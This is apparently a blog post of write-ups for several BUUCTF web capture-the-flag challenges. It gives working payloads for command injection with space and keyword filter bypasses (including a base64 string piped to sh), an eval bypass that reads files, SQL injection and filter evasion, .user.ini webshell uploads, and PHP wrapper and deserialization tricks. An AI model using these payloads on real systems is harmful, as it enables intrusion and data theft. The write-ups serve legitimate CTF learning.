BUUCTF-Web题解(一)

ping ping ping

参考其他wp:
链接

执行系统命令
先输入:?ip=127.0.0.1;ls
输出: flag.php index.php

?ip=127.0.0.1;cat flag.php
fxck your space!
过滤了空格
空格可以用

${IFS}

$IFS$1 //$加其他数字都可以

<

<>

{cat,flag.php}

%09
代替

?ip=127.0.0.1;cat,flag.php

fxck your flag!
flag被过滤
读一下index.php

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

根据网上得题解
可以使用如下payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh//这里的Y2F0IGZsYWcucGhw就是用base64加密的flag.php,后面的‘|sh’就是执行前面的echo脚本

还有一种(windoxs不行,但是本地的kali可以)

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

Easy Calc

查看源代码,找到一个calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

?num=3;phpinfo()
在这里插入图片描述
可以看到被静止的命令执行函数
这里可以发现scandir()、file_get_contenes、show_source、include函数没有禁止
因此找到flag文件
? num=3;var_dump(scandir(chr(47)))
在这里插入图片描述

num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
在这里插入图片描述

PHP

在这里插入图片描述

upload

文件上传漏洞总结
在这里插入图片描述
在这里插入图片描述
菜刀连接

BabySQL(报错注入)

select and where 等被过滤,复写绕过即可,如:seselectlect
flag不在当前的数据库里
因此先要查数据库名
然后再查表名,列名
字符串大于32位,需要substr函数
最终
在这里插入图片描述

CheckIn

这道题给了源码

<?php
  // error_reporting(0);
  $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
  if (!file_exists($userdir)) {
  mkdir($userdir, 0777, true);
  }
  file_put_contents($userdir . "/index.php", "");
  if (isset($_POST["upload"])) {
  $tmp_name = $_FILES["fileUpload"]["tmp_name"];//上传的临时文件名
  $name = $_FILES["fileUpload"]["name"];//本地上传文件名
  if (!$tmp_name) {
  die("filesize too big!");
  }
  if (!$name) {
  die("filename cannot be empty!");
  }
  $extension = substr($name, strrpos($name, ".") + 1);//文件名中.最后出现的位置
  if (preg_match("/ph|htacess/i", $extension)) {
  die("illegal suffix!");
  }
  if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
  die("&lt;? in contents!");
  }
  $image_type = exif_imagetype($tmp_name);
  if (!$image_type) {
  die("exif_imagetype:not image!");
  }
  $upload_file_path = $userdir . "/" . $name;
  move_uploaded_file($tmp_name, $upload_file_path);
  echo "Your dir " . $userdir. ' <br>';
  echo 'Your files : <br>';
  var_dump(scandir($userdir));
  }

分析源码,上传文件过滤了ph/htacess文件
这里需要用到另一个上传配置文件.user.ini
.user.ini文件原理
总而言之,就是可以在以上文件中配置,使得目录下的其他php文件能包含你上传的图片马
上传shell.jpg
在这里插入图片描述
上传.user.ini

在这里插入图片描述
菜刀连接

EasyMD5

sql语句在返回的包里
在这里插入图片描述
这里可以进行sql注入
当一个值的md5值的十六字符二进制形式为’or’+不为0的数字+任意值
可进行sql注入

这里找一个特殊值:ffifdyop

在这里插入图片描述
passwprd=’'or’6’永远为真,可以绕过
接下来两关均可用数组绕过

NiZhuanSiWei

主要考php伪协议

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

有三个绕过,前两个用伪协议,最后一个反序列化
第一个用data://或者php://input写入的数据为welcome to the zjctf
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二个读取useless.php源代码
php://filter/read=convert.base64-encode/resource=useless.php
第三个基础的反序列化
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
php伪协议应用
在这里插入图片描述
该图片出自以上博客

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值